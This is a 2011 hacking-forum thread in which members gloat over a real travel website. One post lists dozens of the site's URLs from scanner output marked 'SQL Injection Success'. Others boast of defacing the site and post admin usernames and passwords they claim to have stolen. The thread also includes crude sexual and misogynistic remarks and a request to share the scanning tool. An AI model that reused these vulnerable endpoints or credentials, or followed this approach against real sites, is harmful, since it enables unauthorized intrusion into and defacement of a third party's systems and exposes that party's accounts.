Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

For giggles

Thought some of you might get a chuckle or two out of this.. Not big on the defacing no more. Hense the non-defacement.

http://thewanderers.travel/
http://www.thewanderers.co.in/static_pag...page_id='5
wtf is this lol ha haaaahah
This site has more holes in it then a Bitch on a NYC corner:

Scan results:

Code
http://thewanderers.travel/itinerary.php?page='65&pageid='64 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='68&pageid='67 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='140&pageid='75 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='139&pageid='75 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='58&pageid='261 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='135&pageid='97 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='76&pageid='158 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='48&pageid='47 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='92&pageid='172 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='50&pageid='43 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='50&pageid='39 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='33&pageid='31 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='81&pageid='212 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='95&pageid='260 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='95&pageid='168 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='77&pageid='224 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='112&pageid='233 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?pageid='58&page='53 <== Not access !
http://thewanderers.travel/itinerary.php?page='112&pageid='186 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='77&pageid='226 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='42&pageid='14 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?pageid='262&page='53 <== Not access !
http://thewanderers.travel/itinerary.php?page='135&pageid='98 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='112&pageid='189 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='73&pageid='224 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='48&pageid='45 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='139&pageid='73 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='134&pageid='90 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='64&pageid='70 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='92&pageid='170 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='158&pageid='236 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='112&pageid='256 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='132&pageid='50 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?pageid='200&page='158 <== Not access !
http://thewanderers.travel/itinerary.php?page='79&pageid='253 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='135&pageid='95 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='150&pageid='111 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='34&pageid='51 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='139&pageid='114 <== SQL Injection Success !
http://thewanderers.travel/itinerary.php?page='93&pageid='171 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='163&id='493 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='50&id='488 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='158&id='495 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='153&id='234 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='132&id='152 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='84&id='367 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='58&id='490 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='95&id='133 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='158&id='272 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='81&id='103 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='68&id='444 <== SQL Injection Success !
http://www.thewanderers.travel/contact.php <== Not access !
http://thewanderers.travel/country.php?page='73&id='106 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='74&id='352 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='103&id='245 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='70&id='431 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='67&id='451 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='58&id='494 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='53&id='75 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='70&id='432 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='158&id='265 <== SQL Injection Success !
http://thewanderers.travel/country.php?page='158&id='267 <== SQL Injection Success !
http://www.english.ox.ac.uk/oecoursepack/wanderer/index.html <== Not access !
http://www.thewanderers.travel/new/staticpage.php?pageid='7 <== Not access !
http://www.thewanderers.travel/new/staticpage.php?pageid='4 <== Not access !
http://www.the-wanderer.co.uk/boards/index.php <== Not access !
http://www.thewanderers.travel/travelogues_detail.php?id='20 <== Not access !
http://www.thewanderers.travel/dynamic_page.php?page_id='716&parent_id='18 <== Not access !
http://www.telegraph.co.uk/travel/artsandculture/726965/Companion-volume.html <== Not access !
http://www.thewanderers.travel/new/faq.php <== Not access !
http://thewanderers.co.in/travelogues.php <== Not access !
http://www.thewanderers.travel/dynamic_page.php?page_id='885&parent_id='54 <== Not access !
http://www.thewanderers.travel/dynamic_page.php?page_id='543&parent_id='8 <== Not access !
http://www.thewanderers.travel/travelogues_detail.php?id='16 <== Not access !
http://thewanderers.co.in/hotdeal.php <== Not access !
http://www.football.co.uk/bolton_wanderers/index.shtml <== Not access !
http://www.thewanderers.travel/PAYMENT%20OPTION.pdf <== Not access !
http://www.guardian.co.uk/music/2009/feb/15/u2-no-line-on-the-horizon <== Not access !
http://www.spartacus.schoolnet.co.uk/Fwanderers.htm <== Not access !
http://www.thewanderers.co.in/dynamic_page.php?page_id='135&parent_id='18 <== SQL Injection Success !
http://www.the-wanderer.co.uk/bolton/looking-both-ways-at-once <== Not access !
http://www.the-wanderer.co.uk/bolton/villa-1--bwfc-1 <== Not access !
http://thewanderers.co.in/dynamic_page.php?page_id='1235&parent_id='71 <== SQL Injection Success !
http://www.timesonline.co.uk/tol/travel/best_of_britain/article1315354.ece <== Not access !
http://www.dailymail.co.uk/sport/cricket/article-1243908/Shambolic-England-crash-innings-defeat-Proteas-bowlers-damage-Wanderers.html <== Not access !
http://www.nationalmotormuseum.org.uk/?location_id='264 <== Not access !
http://www.the-wanderer.co.uk/boards/viewtopic.php?f='10&t='19981 <== Not access !
http://www.thewanderers.co.in/dynamic_page.php?page_id='840&parent_id='590 <== SQL Injection Success !
http://www.guardian.co.uk/books/booksblog/2009/apr/03/hugo-awards-fritz-leiber-wanderer <== Not access !
http://www.thewanderers.travel/new/itinerary.php?page='163&pageid='265 <== SQL Injection Success !
http://www.thewanderers.travel/new/itinerary.php?pageid='264&page='163 <== Not access !
http://www.thewanderers.travel/new/itinerary.php?page='158&pageid='263 <== SQL Injection Success !
http://www.thewanderers.travel/new/itinerary.php?page='163&pageid='123 <== SQL Injection Success !
Bitti

[Image: de7e98f6f4ee63ba17a3288c2881c1f9.png]
[Image: bad89ba3e799a49649ae29f99c6db560.png]

(Jan 31, 2011 10:10 PM)Not Accepted on HF Wrote:  This site has more holes in it then a Bitch on a NYC corner:

🤣 I know. I think we all know by now.
This is why it took me all of 5 minutes
to do what I did. 🤝
i also got the.. admin login id and password.. but i couldnt find the admin page.. :(

admin:hackedbySkz :D

i also got these.. under admin_master
admin:balitamak2010,mounish:123456
Funny deface page Lol :D :)

Don konroi hacked the site
(Jan 31, 2011 10:46 PM)masoom55 Wrote:  Funny deface page Lol :D :)

Don konroi hacked the site

LOOK AT THE DEFACE NOW :p LOVEN THE TITS OMG WHERE ALL GANG BANG HACKING IT OVER AND OVER LMAOO
(Jan 31, 2011 11:12 PM)Not Accepted on HF Wrote:  LOOK AT THE DEFACE NOW :p LOVEN THE TITS OMG WHERE ALL GANG BANG HACKING IT OVER AND OVER LMAOO
I know bro lol 🤣😏
(Jan 31, 2011 10:10 PM)Not Accepted on HF Wrote:  This site has more holes in it then a Bitch on a NYC corner:

You're quite literally testing the same variables over and over

page=78' works! good let's try page again
page=90' shit! i might be on to something
page=30' ....OH MY GOD!

I know it's just the scanner and it doesn't mean you're ACTUALLY trying the same variable multiple times. But seriously... the page isn't, at least from what you've posted, filled with holes. You're just catching the same unsanitized variables
Woo where you find that dork scannet plz share


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Th3PonyWizardJun 23, 2012 07:24 AM 18 481 Jun 23, 2012 07:24 AM
Last Post: Th3PonyWizard